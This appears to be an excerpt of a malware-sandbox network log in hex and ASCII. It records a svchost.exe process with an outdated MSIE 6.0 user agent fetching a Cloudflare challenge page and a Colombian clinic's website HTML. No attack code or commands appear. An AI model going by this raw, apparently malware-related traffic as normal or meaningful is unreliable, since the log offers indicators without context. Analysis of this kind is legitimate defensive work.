0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 Data Ascii: ,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img clas
2023-03-10 06:56:19 UTC	1177	IN	Data Raw: 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 34 47 69 72 79 4b 39 50 6a 4c 4d 6b 67 37 7a 45 64 6d 4c 79 46 61 4c 37 69 72 65 78 38 30 70 7a 4b 5f 51 51 78 44 68 54 51 68 6f 2d 31 36 37 38 34 33 31 33 37 39 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 5a 62 37 66 45 77 33 4b 75 32 30 50 6e 30 36 76 53 57 6f 68 33 55 77 39 72 74 73 31 73 39 47 59 6f 4a 33 78 7a 4f 5a 65 70 74 55 2d 31 36 37 38 34 33 31 33 37 39 2d 30 2d 41 56 Data Ascii: "/?__cf_chl_f_tk=4GiryK9PjLMkg7zEdmLyFaL7irex80pzK_QQxDhTQho-1678431379-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="Zb7fEw3Ku20Pn06vSWoh3Uw9rts1s9GYoJ3xzOZeptU-1678431379-0-AV
2023-03-10 06:56:19 UTC	1178	IN	Data Raw: 71 5a 67 4c 70 77 6b 65 73 67 57 33 77 4c 37 65 7a 36 59 69 48 61 4e 67 36 54 71 35 36 68 43 71 5a 6f 43 62 4f 4c 56 6b 4f 32 63 36 64 43 71 4e 69 4a 43 74 2d 70 6a 54 4c 4d 4c 39 58 4b 77 39 38 6d 4c 38 68 4a 2d 6b 36 58 59 75 63 2d 43 6f 50 72 65 66 69 38 6d 6d 35 63 41 62 62 63 35 46 48 54 78 7a 39 32 6d 4e 72 77 5a 74 4c 6e 47 4b 46 6f 73 67 44 75 35 52 77 4a 52 41 66 56 32 4e 2d 4d 43 59 6e 43 67 6a 4b 49 62 57 31 34 74 73 54 72 57 64 66 75 65 76 50 79 41 62 77 7a 74 67 77 30 34 4d 74 6b 39 5f 45 56 44 37 65 31 5f 49 62 74 55 36 6a 55 39 45 75 4b 45 6b 6e 4f 45 51 31 71 53 62 4d 7a 61 44 57 49 38 65 69 4a 64 72 5a 64 78 70 5a 4d 45 4a 6e 55 64 55 56 71 6e 36 59 73 70 6f 73 75 35 61 49 42 31 51 5f 70 4f 30 6b 56 70 77 46 7a 65 41 6f 64 77 45 4e 45 32 Data Ascii: qZgLpwkesgW3wL7ez6YiHaNg6Tq56hCqZoCbOLVkO2c6dCqNiJCt-pjTLML9XKw98mL8hJ-k6XYuc-CoPrefi8mm5cAbbc5FHTxz92mNrwZtLnGKFosgDu5RwJRAfV2N-MCYnCgjKIbW14tsTrWdfuevPyAbwztgw04Mtk9_EVD7e1_IbtU6jU9EuKEknOEQ1qSbMzaDWI8eiJdrZdxpZMEJnUdUVqn6Ysposu5aIB1Q_pO0kVpwFzeAodwENE2
2023-03-10 06:56:19 UTC	1179	IN	Data Raw: 61 79 3a 20 27 37 61 35 39 61 38 33 38 31 65 36 35 39 62 36 33 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 63 35 35 31 33 35 32 31 66 34 30 30 63 64 33 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 34 47 69 72 79 4b 39 50 6a 4c 4d 6b 67 37 7a 45 64 6d 4c 79 46 61 4c 37 69 72 65 78 38 30 70 7a 4b 5f 51 51 78 44 68 54 51 68 6f 2d 31 36 37 38 34 33 31 33 37 39 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 Data Ascii: ay: '7a59a8381e659b63', cHash: 'c5513521f400cd3', cUPMDTk: "\/?__cf_chl_tk=4GiryK9PjLMkg7zEdmLyFaL7irex80pzK_QQxDhTQho-1678431379-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0',
2023-03-10 06:56:19 UTC	1181	IN	Data Raw: 61 36 4d 4a 67 51 42 4a 6d 65 6e 51 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 64 55 54 47 50 42 35 4b 53 45 78 59 44 37 62 52 42 48 52 57 41 51 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b Data Ascii: a6MJgQBJmenQ==', i2: 'dUTGPB5KSExYD7bRBHRWAQ==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7sk
2023-03-10 06:56:19 UTC	1182	IN	Data Raw: 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 Data Ascii: UHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinf
2023-03-10 06:56:19 UTC	1183	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	56976	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1183	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co Cookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065
2023-03-10 06:56:19 UTC	1186	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Last-Modified: Fri, 10 Mar 2023 06:56:19 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HzpQyrOw5JTo3JKV3FJgfy8pcN1ySAzBkOG7xyPA0TJh3QB%2FPT9w9dPTm6D04L%2FJWlACGrWxCR8k5fScFht7gmAr%2F0v5NUZ6kgnw5dmbEzMBK95Q%2B0Ydm6YxmURHBWhSylwe5KsdG0Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8395aa49b51-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:19 UTC	1186	IN	Data Raw: 37 63 61 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7caf<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:19 UTC	1187	IN	Data Raw: 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2d 63 6f 6d 70 69 6c 65 64 2f 6e 75 63 6c 65 75 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 74 65 6d 70 6c 61 Data Ascii: mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/users/nucleus/css-compiled/nucleus.css" rel="stylesheet" /><link href="/templa
2023-03-10 06:56:19 UTC	1188	IN	Data Raw: 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 6a 73 2f 72 6f 6b 62 6f 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 6a 75 69 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 Data Ascii: /mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox/assets/js/rokbox.js"></script><script src="/media/jui/js/bootstra
2023-03-10 06:56:19 UTC	1190	IN	Data Raw: 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 67 61 6e 74 Data Ascii: ines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="shortcut icon" href="/images/favicon.png"></head><body class="gant
2023-03-10 06:56:19 UTC	1191	IN	Data Raw: 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 30 34 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 Data Ascii: ize-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-menu-item-type-separator g-menu-item-104 g-parent g-standard "><di
2023-03-10 06:56:19 UTC	1192	IN	Data Raw: 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 65 64 69 61 74 72 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c Data Ascii: m g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class="g-menu-item-content"><span class="g-menu-item-title">Pediatras</span></span></a></li><li cl
2023-03-10 06:56:19 UTC	1194	IN	Data Raw: 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 Data Ascii: </ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <span class="g-separator g-menu-item-content"> <span class="g-menu-it
2023-03-10 06:56:19 UTC	1195	IN	Data Raw: 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 76 61 6c 6f 72 65 73 2d 63 6f 72 70 6f 72 61 74 69 76 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d Data Ascii: -menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/valores-corporativos"><span class="g-menu-item-
2023-03-10 06:56:19 UTC	1196	IN	Data Raw: 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e Data Ascii: -item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li class="g-dropdown-column"><div class="g-grid">
2023-03-10 06:56:19 UTC	1198	IN	Data Raw: 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 69 c3 b3 6e 20 64 65 20 c3 b3 72 67 61 6e 6f 73 20 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e Data Ascii: er" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donacin de rganos </span></span></a></li>
2023-03-10 06:56:19 UTC	1199	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d Data Ascii: menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span></span></a></li><li class="g-menu-item g-
2023-03-10 06:56:19 UTC	1200	IN	Data Raw: 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e Data Ascii: ss="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span></span></a></li><li class="g-men
2023-03-10 06:56:19 UTC	1202	IN	Data Raw: 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 Data Ascii: s="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-component
